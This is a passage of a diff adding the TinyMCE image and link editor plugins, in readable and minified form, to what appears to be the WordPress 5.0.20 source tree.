+        var body = [$_78zck5d9jjgweby1.makeTab(editor, imageListCtrl)];
+        if ($_1dn8wtctjjgwebvz.hasAdvTab(editor)) {
+          body.push($_6dfy5vd3jjgwebxf.makeTab(editor));
+        }
+        if ($_1dn8wtctjjgwebvz.hasUploadUrl(editor) || $_1dn8wtctjjgwebvz.hasUploadHandler(editor)) {
+          body.push($_71qd7mdbjjgweby7.makeTab(editor));
+        }
+        win = editor.windowManager.open({
+          title: 'Insert/edit image',
+          data: data,
+          bodyType: 'tabpanel',
+          body: body,
+          onSubmit: curry(submitForm, editor)
+        });
+      } else {
+        win = editor.windowManager.open({
+          title: 'Insert/edit image',
+          data: data,
+          body: $_78zck5d9jjgweby1.getGeneralItems(editor, imageListCtrl),
+          onSubmit: curry(submitForm, editor)
+        });
+      }
+      $_ftlz5pdajjgweby4.syncSize(win);
+    }
+    function open() {
+      $_1e8k4ncujjgwebw2.createImageList(editor, showDialog);
+    }
+    return { open: open };
+  }
+
+  var register = function (editor) {
+    editor.addCommand('mceImage', Dialog(editor).open);
+  };
+  var $_3lypdlcrjjgwebvs = { register: register };
+
+  var hasImageClass = function (node) {
+    var className = node.attr('class');
+    return className && /\bimage\b/.test(className);
+  };
+  var toggleContentEditableState = function (state) {
+    return function (nodes) {
+      var i = nodes.length, node;
+      var toggleContentEditable = function (node) {
+        node.attr('contenteditable', state ? 'true' : null);
+      };
+      while (i--) {
+        node = nodes[i];
+        if (hasImageClass(node)) {
+          node.attr('contenteditable', state ? 'false' : null);
+          global$2.each(node.getAll('figcaption'), toggleContentEditable);
+        }
+      }
+    };
+  };
+  var setup = function (editor) {
+    editor.on('preInit', function () {
+      editor.parser.addNodeFilter('figure', toggleContentEditableState(true));
+      editor.serializer.addNodeFilter('figure', toggleContentEditableState(false));
+    });
+  };
+  var $_5op6l2dhjjgwebym = { setup: setup };
+
+  var register$1 = function (editor) {
+    editor.addButton('image', {
+      icon: 'image',
+      tooltip: 'Insert/edit image',
+      onclick: Dialog(editor).open,
+      stateSelector: 'img:not([data-mce-object],[data-mce-placeholder]),figure.image'
+    });
+    editor.addMenuItem('image', {
+      icon: 'image',
+      text: 'Image',
+      onclick: Dialog(editor).open,
+      context: 'insert',
+      prependToContext: true
+    });
+  };
+  var $_dm869adijjgwebyn = { register: register$1 };
+
+  global.add('image', function (editor) {
+    $_5op6l2dhjjgwebym.setup(editor);
+    $_dm869adijjgwebyn.register(editor);
+    $_3lypdlcrjjgwebvs.register(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},i=function(e){return!0===e.settings.image_advtab},g=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},l=function(e){return e.getParam("image_list",!1)},u=function(e){return e.getParam("images_upload_url",!1)},c=function(e){return e.getParam("images_upload_handler",!1)},s=function(e){return e.getParam("images_upload_url")},m=function(e){return e.getParam("images_upload_handler")},f=function(e){return e.getParam("images_upload_base_path")},p=function(e){return e.getParam("images_upload_credentials")},h="undefined"!=typeof window?window:Function("return this;")(),v=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:h,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},t={getOrDie:function(e,t){var n=v(e,t);if(n===undefined||null===n)throw e+" not available on this browser";return n}};function b(){return new(t.getOrDie("FileReader"))}var y,x=tinymce.util.Tools.resolve("tinymce.util.Promise"),w=tinymce.util.Tools.resolve("tinymce.util.Tools"),C=tinymce.util.Tools.resolve("tinymce.util.XHR"),S=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},N=function(e,n){var r=document.createElement("img");function t(e,t){r.parentNode&&r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(S(r.width,r.clientWidth),S(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left="0px",a.width=a.height="auto",document.body.appendChild(r),r.src=e},_=function(e,a,t){return function n(e,r){return r=r||[],w.each(e,function(e){var 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Te=function(){};function Re(i){var t=function(e,r,a,t){var o,n;(o=new Ae).open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a("Image upload failed due to a XHR Transport error. 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Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.js	(revision 56912)
@@ -0,0 +1,713 @@
+(function () {
+var link = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var assumeExternalTargets = function (editorSettings) {
+    return typeof editorSettings.link_assume_external_targets === 'boolean' ? editorSettings.link_assume_external_targets : false;
+  };
+  var hasContextToolbar = function (editorSettings) {
+    return typeof editorSettings.link_context_toolbar === 'boolean' ? editorSettings.link_context_toolbar : false;
+  };
+  var getLinkList = function (editorSettings) {
+    return editorSettings.link_list;
+  };
+  var hasDefaultLinkTarget = function (editorSettings) {
+    return typeof editorSettings.default_link_target === 'string';
+  };
+  var getDefaultLinkTarget = function (editorSettings) {
+    return editorSettings.default_link_target;
+  };
+  var getTargetList = function (editorSettings) {
+    return editorSettings.target_list;
+  };
+  var setTargetList = function (editor, list) {
+    editor.settings.target_list = list;
+  };
+  var shouldShowTargetList = function (editorSettings) {
+    return getTargetList(editorSettings) !== false;
+  };
+  var getRelList = function (editorSettings) {
+    return editorSettings.rel_list;
+  };
+  var hasRelList = function (editorSettings) {
+    return getRelList(editorSettings) !== undefined;
+  };
+  var getLinkClassList = function (editorSettings) {
+    return editorSettings.link_class_list;
+  };
+  var hasLinkClassList = function (editorSettings) {
+    return getLinkClassList(editorSettings) !== undefined;
+  };
+  var shouldShowLinkTitle = function (editorSettings) {
+    return editorSettings.link_title !== false;
+  };
+  var allowUnsafeLinkTarget = function (editorSettings) {
+    return typeof editorSettings.allow_unsafe_link_target === 'boolean' ? editorSettings.allow_unsafe_link_target : false;
+  };
+  var $_1b4wbxfvjjgwechi = {
+    assumeExternalTargets: assumeExternalTargets,
+    hasContextToolbar: hasContextToolbar,
+    getLinkList: getLinkList,
+    hasDefaultLinkTarget: hasDefaultLinkTarget,
+    getDefaultLinkTarget: getDefaultLinkTarget,
+    getTargetList: getTargetList,
+    setTargetList: setTargetList,
+    shouldShowTargetList: shouldShowTargetList,
+    getRelList: getRelList,
+    hasRelList: hasRelList,
+    getLinkClassList: getLinkClassList,
+    hasLinkClassList: hasLinkClassList,
+    shouldShowLinkTitle: shouldShowLinkTitle,
+    allowUnsafeLinkTarget: allowUnsafeLinkTarget
+  };
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var appendClickRemove = function (link, evt) {
+    document.body.appendChild(link);
+    link.dispatchEvent(evt);
+    document.body.removeChild(link);
+  };
+  var open$$1 = function (url) {
+    if (!global$3.ie || global$3.ie > 10) {
+      var link = document.createElement('a');
+      link.target = '_blank';
+      link.href = url;
+      link.rel = 'noreferrer noopener';
+      var evt = document.createEvent('MouseEvents');
+      evt.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
+      appendClickRemove(link, evt);
+    } else {
+      var win = window.open('', '_blank');
+      if (win) {
+        win.opener = null;
+        var doc = win.document;
+        doc.open();
+        doc.write('<meta http-equiv="refresh" content="0; url=' + global$2.DOM.encode(url) + '">');
+        doc.close();
+      }
+    }
+  };
+  var $_du0gebfwjjgwechl = { open: open$$1 };
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var toggleTargetRules = function (rel, isUnsafe) {
+    var rules = ['noopener'];
+    var newRel = rel ? rel.split(/\s+/) : [];
+    var toString = function (rel) {
+      return global$4.trim(rel.sort().join(' '));
+    };
+    var addTargetRules = function (rel) {
+      rel = removeTargetRules(rel);
+      return rel.length ? rel.concat(rules) : rules;
+    };
+    var removeTargetRules = function (rel) {
+      return rel.filter(function (val) {
+        return global$4.inArray(rules, val) === -1;
+      });
+    };
+    newRel = isUnsafe ? addTargetRules(newRel) : removeTargetRules(newRel);
+    return newRel.length ? toString(newRel) : null;
+  };
+  var trimCaretContainers = function (text) {
+    return text.replace(/\uFEFF/g, '');
+  };
+  var getAnchorElement = function (editor, selectedElm) {
+    selectedElm = selectedElm || editor.selection.getNode();
+    if (isImageFigure(selectedElm)) {
+      return editor.dom.select('a[href]', selectedElm)[0];
+    } else {
+      return editor.dom.getParent(selectedElm, 'a[href]');
+    }
+  };
+  var getAnchorText = function (selection, anchorElm) {
+    var text = anchorElm ? anchorElm.innerText || anchorElm.textContent : selection.getContent({ format: 'text' });
+    return trimCaretContainers(text);
+  };
+  var isLink = function (elm) {
+    return elm && elm.nodeName === 'A' && elm.href;
+  };
+  var hasLinks = function (elements) {
+    return global$4.grep(elements, isLink).length > 0;
+  };
+  var isOnlyTextSelected = function (html) {
+    if (/</.test(html) && (!/^<a [^>]+>[^<]+<\/a>$/.test(html) || html.indexOf('href=') === -1)) {
+      return false;
+    }
+    return true;
+  };
+  var isImageFigure = function (node) {
+    return node && node.nodeName === 'FIGURE' && /\bimage\b/i.test(node.className);
+  };
+  var link = function (editor, attachState) {
+    return function (data) {
+      editor.undoManager.transact(function () {
+        var selectedElm = editor.selection.getNode();
+        var anchorElm = getAnchorElement(editor, selectedElm);
+        var linkAttrs = {
+          href: data.href,
+          target: data.target ? data.target : null,
+          rel: data.rel ? data.rel : null,
+          class: data.class ? data.class : null,
+          title: data.title ? data.title : null
+        };
+        if (!$_1b4wbxfvjjgwechi.hasRelList(editor.settings) && $_1b4wbxfvjjgwechi.allowUnsafeLinkTarget(editor.settings) === false) {
+          linkAttrs.rel = toggleTargetRules(linkAttrs.rel, linkAttrs.target === '_blank');
+        }
+        if (data.href === attachState.href) {
+          attachState.attach();
+          attachState = {};
+        }
+        if (anchorElm) {
+          editor.focus();
+          if (data.hasOwnProperty('text')) {
+            if ('innerText' in anchorElm) {
+              anchorElm.innerText = data.text;
+            } else {
+              anchorElm.textContent = data.text;
+            }
+          }
+          editor.dom.setAttribs(anchorElm, linkAttrs);
+          editor.selection.select(anchorElm);
+          editor.undoManager.add();
+        } else {
+          if (isImageFigure(selectedElm)) {
+            linkImageFigure(editor, selectedElm, linkAttrs);
+          } else if (data.hasOwnProperty('text')) {
+            editor.insertContent(editor.dom.createHTML('a', linkAttrs, editor.dom.encode(data.text)));
+          } else {
+            editor.execCommand('mceInsertLink', false, linkAttrs);
+          }
+        }
+      });
+    };
+  };
+  var unlink = function (editor) {
+    return function () {
+      editor.undoManager.transact(function () {
+        var node = editor.selection.getNode();
+        if (isImageFigure(node)) {
+          unlinkImageFigure(editor, node);
+        } else {
+          editor.execCommand('unlink');
+        }
+      });
+    };
+  };
+  var unlinkImageFigure = function (editor, fig) {
+    var a, img;
+    img = editor.dom.select('img', fig)[0];
+    if (img) {
+      a = editor.dom.getParents(img, 'a[href]', fig)[0];
+      if (a) {
+        a.parentNode.insertBefore(img, a);
+        editor.dom.remove(a);
+      }
+    }
+  };
+  var linkImageFigure = function (editor, fig, attrs) {
+    var a, img;
+    img = editor.dom.select('img', fig)[0];
+    if (img) {
+      a = editor.dom.create('a', attrs);
+      img.parentNode.insertBefore(a, img);
+      a.appendChild(img);
+    }
+  };
+  var $_5298ug0jjgweci0 = {
+    link: link,
+    unlink: unlink,
+    isLink: isLink,
+    hasLinks: hasLinks,
+    isOnlyTextSelected: isOnlyTextSelected,
+    getAnchorElement: getAnchorElement,
+    getAnchorText: getAnchorText,
+    toggleTargetRules: toggleTargetRules
+  };
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.util.Delay');
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.util.XHR');
+
+  var attachState = {};
+  var createLinkList = function (editor, callback) {
+    var linkList = $_1b4wbxfvjjgwechi.getLinkList(editor.settings);
+    if (typeof linkList === 'string') {
+      global$6.send({
+        url: linkList,
+        success: function (text) {
+          callback(editor, JSON.parse(text));
+        }
+      });
+    } else if (typeof linkList === 'function') {
+      linkList(function (list) {
+        callback(editor, list);
+      });
+    } else {
+      callback(editor, linkList);
+    }
+  };
+  var buildListItems = function (inputList, itemCallback, startItems) {
+    var appendItems = function (values, output) {
+      output = output || [];
+      global$4.each(values, function (item) {
+        var menuItem = { text: item.text || item.title };
+        if (item.menu) {
+          menuItem.menu = appendItems(item.menu);
+        } else {
+          menuItem.value = item.value;
+          if (itemCallback) {
+            itemCallback(menuItem);
+          }
+        }
+        output.push(menuItem);
+      });
+      return output;
+    };
+    return appendItems(inputList, startItems || []);
+  };
+  var delayedConfirm = function (editor, message, callback) {
+    var rng = editor.selection.getRng();
+    global$5.setEditorTimeout(editor, function () {
+      editor.windowManager.confirm(message, function (state) {
+        editor.selection.setRng(rng);
+        callback(state);
+      });
+    });
+  };
+  var showDialog = function (editor, linkList) {
+    var data = {};
+    var selection = editor.selection;
+    var dom = editor.dom;
+    var anchorElm, initialText;
+    var win, onlyText, textListCtrl, linkListCtrl, relListCtrl, targetListCtrl, classListCtrl, linkTitleCtrl, value;
+    var linkListChangeHandler = function (e) {
+      var textCtrl = win.find('#text');
+      if (!textCtrl.value() || e.lastControl && textCtrl.value() === e.lastControl.text()) {
+        textCtrl.value(e.control.text());
+      }
+      win.find('#href').value(e.control.value());
+    };
+    var buildAnchorListControl = function (url) {
+      var anchorList = [];
+      global$4.each(editor.dom.select('a:not([href])'), function (anchor) {
+        var id = anchor.name || anchor.id;
+        if (id) {
+          anchorList.push({
+            text: id,
+            value: '#' + id,
+            selected: url.indexOf('#' + id) !== -1
+          });
+        }
+      });
+      if (anchorList.length) {
+        anchorList.unshift({
+          text: 'None',
+          value: ''
+        });
+        return {
+          name: 'anchor',
+          type: 'listbox',
+          label: 'Anchors',
+          values: anchorList,
+          onselect: linkListChangeHandler
+        };
+      }
+    };
+    var updateText = function () {
+      if (!initialText && onlyText && !data.text) {
+        this.parent().parent().find('#text')[0].value(this.value());
+      }
+    };
+    var urlChange = function (e) {
+      var meta = e.meta || {};
+      if (linkListCtrl) {
+        linkListCtrl.value(editor.convertURL(this.value(), 'href'));
+      }
+      global$4.each(e.meta, function (value, key) {
+        var inp = win.find('#' + key);
+        if (key === 'text') {
+          if (initialText.length === 0) {
+            inp.value(value);
+            data.text = value;
+          }
+        } else {
+          inp.value(value);
+        }
+      });
+      if (meta.attach) {
+        attachState = {
+          href: this.value(),
+          attach: meta.attach
+        };
+      }
+      if (!meta.text) {
+        updateText.call(this);
+      }
+    };
+    var onBeforeCall = function (e) {
+      e.meta = win.toJSON();
+    };
+    onlyText = $_5298ug0jjgweci0.isOnlyTextSelected(selection.getContent());
+    anchorElm = $_5298ug0jjgweci0.getAnchorElement(editor);
+    data.text = initialText = $_5298ug0jjgweci0.getAnchorText(editor.selection, anchorElm);
+    data.href = anchorElm ? dom.getAttrib(anchorElm, 'href') : '';
+    if (anchorElm) {
+      data.target = dom.getAttrib(anchorElm, 'target');
+    } else if ($_1b4wbxfvjjgwechi.hasDefaultLinkTarget(editor.settings)) {
+      data.target = $_1b4wbxfvjjgwechi.getDefaultLinkTarget(editor.settings);
+    }
+    if (value = dom.getAttrib(anchorElm, 'rel')) {
+      data.rel = value;
+    }
+    if (value = dom.getAttrib(anchorElm, 'class')) {
+      data.class = value;
+    }
+    if (value = dom.getAttrib(anchorElm, 'title')) {
+      data.title = value;
+    }
+    if (onlyText) {
+      textListCtrl = {
+        name: 'text',
+        type: 'textbox',
+        size: 40,
+        label: 'Text to display',
+        onchange: function () {
+          data.text = this.value();
+        }
+      };
+    }
+    if (linkList) {
+      linkListCtrl = {
+        type: 'listbox',
+        label: 'Link list',
+        values: buildListItems(linkList, function (item) {
+          item.value = editor.convertURL(item.value || item.url, 'href');
+        }, [{
+            text: 'None',
+            value: ''
+          }]),
+        onselect: linkListChangeHandler,
+        value: editor.convertURL(data.href, 'href'),
+        onPostRender: function () {
+          linkListCtrl = this;
+        }
+      };
+    }
+    if ($_1b4wbxfvjjgwechi.shouldShowTargetList(editor.settings)) {
+      if ($_1b4wbxfvjjgwechi.getTargetList(editor.settings) === undefined) {
+        $_1b4wbxfvjjgwechi.setTargetList(editor, [
+          {
+            text: 'None',
+            value: ''
+          },
+          {
+            text: 'New window',
+            value: '_blank'
+          }
+        ]);
+      }
+      targetListCtrl = {
+        name: 'target',
+        type: 'listbox',
+        label: 'Target',
+        values: buildListItems($_1b4wbxfvjjgwechi.getTargetList(editor.settings))
+      };
+    }
+    if ($_1b4wbxfvjjgwechi.hasRelList(editor.settings)) {
+      relListCtrl = {
+        name: 'rel',
+        type: 'listbox',
+        label: 'Rel',
+        values: buildListItems($_1b4wbxfvjjgwechi.getRelList(editor.settings), function (item) {
+          if ($_1b4wbxfvjjgwechi.allowUnsafeLinkTarget(editor.settings) === false) {
+            item.value = $_5298ug0jjgweci0.toggleTargetRules(item.value, data.target === '_blank');
+          }
+        })
+      };
+    }
+    if ($_1b4wbxfvjjgwechi.hasLinkClassList(editor.settings)) {
+      classListCtrl = {
+        name: 'class',
+        type: 'listbox',
+        label: 'Class',
+        values: buildListItems($_1b4wbxfvjjgwechi.getLinkClassList(editor.settings), function (item) {
+          if (item.value) {
+            item.textStyle = function () {
+              return editor.formatter.getCssText({
+                inline: 'a',
+                classes: [item.value]
+              });
+            };
+          }
+        })
+      };
+    }
+    if ($_1b4wbxfvjjgwechi.shouldShowLinkTitle(editor.settings)) {
+      linkTitleCtrl = {
+        name: 'title',
+        type: 'textbox',
+        label: 'Title',
+        value: data.title
+      };
+    }
+    win = editor.windowManager.open({
+      title: 'Insert link',
+      data: data,
+      body: [
+        {
+          name: 'href',
+          type: 'filepicker',
+          filetype: 'file',
+          size: 40,
+          autofocus: true,
+          label: 'Url',
+          onchange: urlChange,
+          onkeyup: updateText,
+          onpaste: updateText,
+          onbeforecall: onBeforeCall
+        },
+        textListCtrl,
+        linkTitleCtrl,
+        buildAnchorListControl(data.href),
+        linkListCtrl,
+        relListCtrl,
+        targetListCtrl,
+        classListCtrl
+      ],
+      onSubmit: function (e) {
+        var assumeExternalTargets = $_1b4wbxfvjjgwechi.assumeExternalTargets(editor.settings);
+        var insertLink = $_5298ug0jjgweci0.link(editor, attachState);
+        var removeLink = $_5298ug0jjgweci0.unlink(editor);
+        var resultData = global$4.extend({}, data, e.data);
+        var href = resultData.href;
+        if (!href) {
+          removeLink();
+          return;
+        }
+        if (!onlyText || resultData.text === initialText) {
+          delete resultData.text;
+        }
+        if (href.indexOf('@') > 0 && href.indexOf('//') === -1 && href.indexOf('mailto:') === -1) {
+          delayedConfirm(editor, 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?', function (state) {
+            if (state) {
+              resultData.href = 'mailto:' + href;
+            }
+            insertLink(resultData);
+          });
+          return;
+        }
+        if (assumeExternalTargets === true && !/^\w+:/i.test(href) || assumeExternalTargets === false && /^\s*www[\.|\d\.]/i.test(href)) {
+          delayedConfirm(editor, 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (state) {
+            if (state) {
+              resultData.href = 'http://' + href;
+            }
+            insertLink(resultData);
+          });
+          return;
+        }
+        insertLink(resultData);
+      }
+    });
+  };
+  var open$1 = function (editor) {
+    createLinkList(editor, showDialog);
+  };
+  var $_dxaplrg2jjgweci6 = { open: open$1 };
+
+  var getLink = function (editor, elm) {
+    return editor.dom.getParent(elm, 'a[href]');
+  };
+  var getSelectedLink = function (editor) {
+    return getLink(editor, editor.selection.getStart());
+  };
+  var getHref = function (elm) {
+    var href = elm.getAttribute('data-mce-href');
+    return href ? href : elm.getAttribute('href');
+  };
+  var isContextMenuVisible = function (editor) {
+    var contextmenu = editor.plugins.contextmenu;
+    return contextmenu ? contextmenu.isContextMenuVisible() : false;
+  };
+  var hasOnlyAltModifier = function (e) {
+    return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false;
+  };
+  var gotoLink = function (editor, a) {
+    if (a) {
+      var href = getHref(a);
+      if (/^#/.test(href)) {
+        var targetEl = editor.$(href);
+        if (targetEl.length) {
+          editor.selection.scrollIntoView(targetEl[0], true);
+        }
+      } else {
+        $_du0gebfwjjgwechl.open(a.href);
+      }
+    }
+  };
+  var openDialog = function (editor) {
+    return function () {
+      $_dxaplrg2jjgweci6.open(editor);
+    };
+  };
+  var gotoSelectedLink = function (editor) {
+    return function () {
+      gotoLink(editor, getSelectedLink(editor));
+    };
+  };
+  var leftClickedOnAHref = function (editor) {
+    return function (elm) {
+      var sel, rng, node;
+      if ($_1b4wbxfvjjgwechi.hasContextToolbar(editor.settings) && !isContextMenuVisible(editor) && $_5298ug0jjgweci0.isLink(elm)) {
+        sel = editor.selection;
+        rng = sel.getRng();
+        node = rng.startContainer;
+        if (node.nodeType === 3 && sel.isCollapsed() && rng.startOffset > 0 && rng.startOffset < node.data.length) {
+          return true;
+        }
+      }
+      return false;
+    };
+  };
+  var setupGotoLinks = function (editor) {
+    editor.on('click', function (e) {
+      var link = getLink(editor, e.target);
+      if (link && global$1.metaKeyPressed(e)) {
+        e.preventDefault();
+        gotoLink(editor, link);
+      }
+    });
+    editor.on('keydown', function (e) {
+      var link = getSelectedLink(editor);
+      if (link && e.keyCode === 13 && hasOnlyAltModifier(e)) {
+        e.preventDefault();
+        gotoLink(editor, link);
+      }
+    });
+  };
+  var toggleActiveState = function (editor) {
+    return function () {
+      var self = this;
+      editor.on('nodechange', function (e) {
+        self.active(!editor.readonly && !!$_5298ug0jjgweci0.getAnchorElement(editor, e.element));
+      });
+    };
+  };
+  var toggleViewLinkState = function (editor) {
+    return function () {
+      var self = this;
+      var toggleVisibility = function (e) {
+        if ($_5298ug0jjgweci0.hasLinks(e.parents)) {
+          self.show();
+        } else {
+          self.hide();
+        }
+      };
+      if (!$_5298ug0jjgweci0.hasLinks(editor.dom.getParents(editor.selection.getStart()))) {
+        self.hide();
+      }
+      editor.on('nodechange', toggleVisibility);
+      self.on('remove', function () {
+        editor.off('nodechange', toggleVisibility);
+      });
+    };
+  };
+  var $_8hceq8ftjjgweche = {
+    openDialog: openDialog,
+    gotoSelectedLink: gotoSelectedLink,
+    leftClickedOnAHref: leftClickedOnAHref,
+    setupGotoLinks: setupGotoLinks,
+    toggleActiveState: toggleActiveState,
+    toggleViewLinkState: toggleViewLinkState
+  };
+
+  var register = function (editor) {
+    editor.addCommand('mceLink', $_8hceq8ftjjgweche.openDialog(editor));
+  };
+  var $_bauc80fsjjgwechc = { register: register };
+
+  var setup = function (editor) {
+    editor.addShortcut('Meta+K', '', $_8hceq8ftjjgweche.openDialog(editor));
+  };
+  var $_49u4p1g5jjgwecie = { setup: setup };
+
+  var setupButtons = function (editor) {
+    editor.addButton('link', {
+      active: false,
+      icon: 'link',
+      tooltip: 'Insert/edit link',
+      onclick: $_8hceq8ftjjgweche.openDialog(editor),
+      onpostrender: $_8hceq8ftjjgweche.toggleActiveState(editor)
+    });
+    editor.addButton('unlink', {
+      active: false,
+      icon: 'unlink',
+      tooltip: 'Remove link',
+      onclick: $_5298ug0jjgweci0.unlink(editor),
+      onpostrender: $_8hceq8ftjjgweche.toggleActiveState(editor)
+    });
+    if (editor.addContextToolbar) {
+      editor.addButton('openlink', {
+        icon: 'newtab',
+        tooltip: 'Open link',
+        onclick: $_8hceq8ftjjgweche.gotoSelectedLink(editor)
+      });
+    }
+  };
+  var setupMenuItems = function (editor) {
+    editor.addMenuItem('openlink', {
+      text: 'Open link',
+      icon: 'newtab',
+      onclick: $_8hceq8ftjjgweche.gotoSelectedLink(editor),
+      onPostRender: $_8hceq8ftjjgweche.toggleViewLinkState(editor),
+      prependToContext: true
+    });
+    editor.addMenuItem('link', {
+      icon: 'link',
+      text: 'Link',
+      shortcut: 'Meta+K',
+      onclick: $_8hceq8ftjjgweche.openDialog(editor),
+      stateSelector: 'a[href]',
+      context: 'insert',
+      prependToContext: true
+    });
+    editor.addMenuItem('unlink', {
+      icon: 'unlink',
+      text: 'Remove link',
+      onclick: $_5298ug0jjgweci0.unlink(editor),
+      stateSelector: 'a[href]'
+    });
+  };
+  var setupContextToolbars = function (editor) {
+    if (editor.addContextToolbar) {
+      editor.addContextToolbar($_8hceq8ftjjgweche.leftClickedOnAHref(editor), 'openlink | link unlink');
+    }
+  };
+  var $_bn93cg6jjgwecif = {
+    setupButtons: setupButtons,
+    setupMenuItems: setupMenuItems,
+    setupContextToolbars: setupContextToolbars
+  };
+
+  global.add('link', function (editor) {
+    $_bn93cg6jjgwecif.setupButtons(editor);
+    $_bn93cg6jjgwecif.setupMenuItems(editor);
+    $_bn93cg6jjgwecif.setupContextToolbars(editor);
+    $_8hceq8ftjjgweche.setupGotoLinks(editor);
+    $_bauc80fsjjgwechc.register(editor);
+    $_49u4p1g5jjgwecie.setup(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/link/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return"boolean"==typeof t.link_assume_external_targets&&t.link_assume_external_targets},a=function(t){return"boolean"==typeof t.link_context_toolbar&&t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return"string"==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return"boolean"==typeof t.allow_unsafe_link_target&&t.allow_unsafe_link_target},l=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),u=tinymce.util.Tools.resolve("tinymce.Env"),c=function(t){if(!u.ie||10<u.ie){var e=document.createElement("a");e.target="_blank",e.href=t,e.rel="noreferrer noopener";var n=document.createEvent("MouseEvents");n.initMouseEvent("click",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),r=e,a=n,document.body.appendChild(r),r.dispatchEvent(a),document.body.removeChild(r)}else{var o=window.open("","_blank");if(o){o.opener=null;var i=o.document;i.open(),i.write('<meta http-equiv="refresh" content="0; url='+l.DOM.encode(t)+'">'),i.close()}}var r,a},A=tinymce.util.Tools.resolve("tinymce.util.Tools"),s=function(t,e){var n,o,i=["noopener"],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(" "))):null},f=function(t,e){return e=e||t.selection.getNode(),m(e)?t.dom.select("a[href]",e)[0]:t.dom.getParent(e,"a[href]")},d=function(t){return t&&"A"===t.nodeName&&t.href},m=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},v=function(t,e){var n,o;(o=t.dom.select("img",e)[0])&&(n=t.dom.getParents(o,"a[href]",e)[0])&&(n.parentNode.insertBefore(o,n),t.dom.remove(n))},g=function(t,e,n){var o,i;(i=t.dom.select("img",e)[0])&&(o=t.dom.create("a",n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=f(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,"class":o["class"]?o["class"]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=s(n.rel,"_blank"===n.target)),o.href===r.href&&(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty("text")&&("innerText"in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):m(t)?g(i,t,n):o.hasOwnProperty("text")?i.insertContent(i.dom.createHTML("a",n,i.dom.encode(o.text))):i.execCommand("mceInsertLink",!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();m(t)?v(e,t):e.execCommand("unlink")})}},h=d,x=function(t){return 0<A.grep(t,d).length},E=function(t){return!(/</.test(t)&&(!/^<a [^>]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))},S=f,I=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:"text"});return n.replace(/\uFEFF/g,"")},K=s,U=tinymce.util.Tools.resolve("tinymce.util.Delay"),D=tinymce.util.Tools.resolve("tinymce.util.XHR"),B={},F=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&&o(e)),n.push(e)}),n};return 